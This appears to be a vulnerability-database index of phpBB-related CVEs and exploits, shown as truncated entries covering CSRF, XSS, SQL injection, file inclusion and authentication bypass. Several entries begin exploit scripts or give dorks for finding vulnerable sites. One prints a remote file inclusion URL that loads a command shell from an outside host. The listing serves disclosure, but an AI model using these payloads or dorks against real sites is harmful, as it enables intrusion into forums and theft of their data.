CVE-2015-1432: Cross-Site Request Forgery (CSRF)

The messageoptions function in includes/ucp/ucppmoptions.php in phpBB before 3.0.13 does not properly validate the form key, which allows remote attackers to conduct CSRF attacks and change the full folder setting via unspecified vectors...

PT-2015-5282

Name of the Vulnerable Software and Affected Versions phpBB versions prior to 3.0.13 Description The issue is related to a cross-site scripting XSS vulnerability. This allows remote attackers to inject arbitrary web script or HTML. The vulnerability is related to "Relative Path Overwrite" in the...

PT-2015-5283

Name of the Vulnerable Software and Affected Versions phpBB versions prior to 3.0.13 Description The issue concerns the message options function in includes/ucp/ucp pm options.php, which does not properly validate the form key. This allows remote attackers to conduct CSRF attacks and change the...

CVE-2015-1431: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in includes/startup.php in phpBB before 3.0.13 allows remote attackers to inject arbitrary web script or HTML via vectors related to "Relative Path Overwrite."...

phpBB 3.1.1 deregister_globals() Bypass

When PHP's registerglobals configuration directive set on, phpBB will call deregisterglobals function, all global variables registered by PHP will be destroyed. But deregisterglobals functions can be bypassed. $input = arraymerge arraykeys$GET, arraykeys$POST, arraykeys$COOKIE, arraykeys$SERVER,...

Advanced GuestBook 2.3.1 Admin.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/20902/info Advanced GuestBook for phpBB is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary...

phpBB News Defilante Horizontale <= 4.1.1 - Remote Include Exploit

No description provided by source...

phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities

No description provided by source. Kurdish Security Advisory phpRaid Remote File Include PHPBB/SMF : Sosyalizim'de .srar insan olmakta .srard.r Abdullah Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com & [email protected] Script : phpRaid Script Website :...

JASmine <= 0.0.2 (index.php) Remote File Include Vulnerability

No description provided by source. !/usr/bin/env python coding: utf-8 import re from pocsuite.net import req from pocsuite.poc import Output, POCBase from pocsuite.utils import register class JASmineNewsRemoteFileIncludePOCBase: vulID = '64073' version = '1' vulDate = '2006-10-17' author = ' '...

phpBB Links MOD 1.2.2 - Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl print q phpBB = 2.0.22 - Links MOD = v1.2.2 Remote SQL Injection Exploit Bug discovered by Don Dork: allinurl:links.php?t=search or: Links MOD v1.2.2 by phpBB2.de SQL INJECTION: Exploit:...

phpBB Chart Mod 1.1 charts.php id Parameter SQL Injection

No description provided by source. source: http://www.securityfocus.com/bid/17952/info Chart Mod is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly...

phpBB 2.0.6 Privmsg.PHP Cross-Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/9290/info phpBB is prone to a cross-site scripting vulnerability in the 'privmsg.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. Thi...

PHPBB 2.0.x Authentication Bypass Vulnerability (3)

No description provided by source. source: http://www.securityfocus.com/bid/12678/info phpBB is affected by an authentication bypass vulnerability. This issue is due to the application failing to properly sanitize user-supplied input during authentication. Exploitation of this vulnerability would...

phpBB 2.0.5 - SQL Injection password disclosure Exploit

No description provided by source. !/usr/bin/perl -w phpBB password disclosure vuln. - rick patel There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topicid which gets passed directly to sql server in query. Attacker could pass a special sql string which can used ...

phpBB <= 2.0.15 Register Multiple Users Denial of Service (c code)

No description provided by source...

phpBB User Viewed Posts Tracker <= 1.0 File Include Vulnerability

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= phpBB User Viewed Posts Tracker Version = 1.0 phpbbrootpath File Include Vulnerability...

PHPBB 1.x/2.0.x Search.PHP Search_Results Parameter SQL Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/9883/info A vulnerability has been reported to exist in the software that may allow a remote user to inject malicious SQL syntax into database queries. The problem reportedly exists in one of the parameters of the...

phpBB 2.0.21 Privmsg.PHP HTML Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/22001/info phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code...

PHPBB 1.x/2.0.x Knowledge Base Module KB.PHP SQL Injection Vulnerability

No description provided by source...

TopList <= 1.3.8 (phpBB Hack) Remote File Inclusion Vulnerability

No description provided by source. Title: TopList Hack for PHPBB = 1.3.8 Remote File Inclusion URL: http://www.phpbb2hacks.de/toplist-df148.html Dork: inurl:toplist.php powered by phpbb Credits: Oo Exploit: /toplist.php?f=toplisttop10&phpbbrootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com...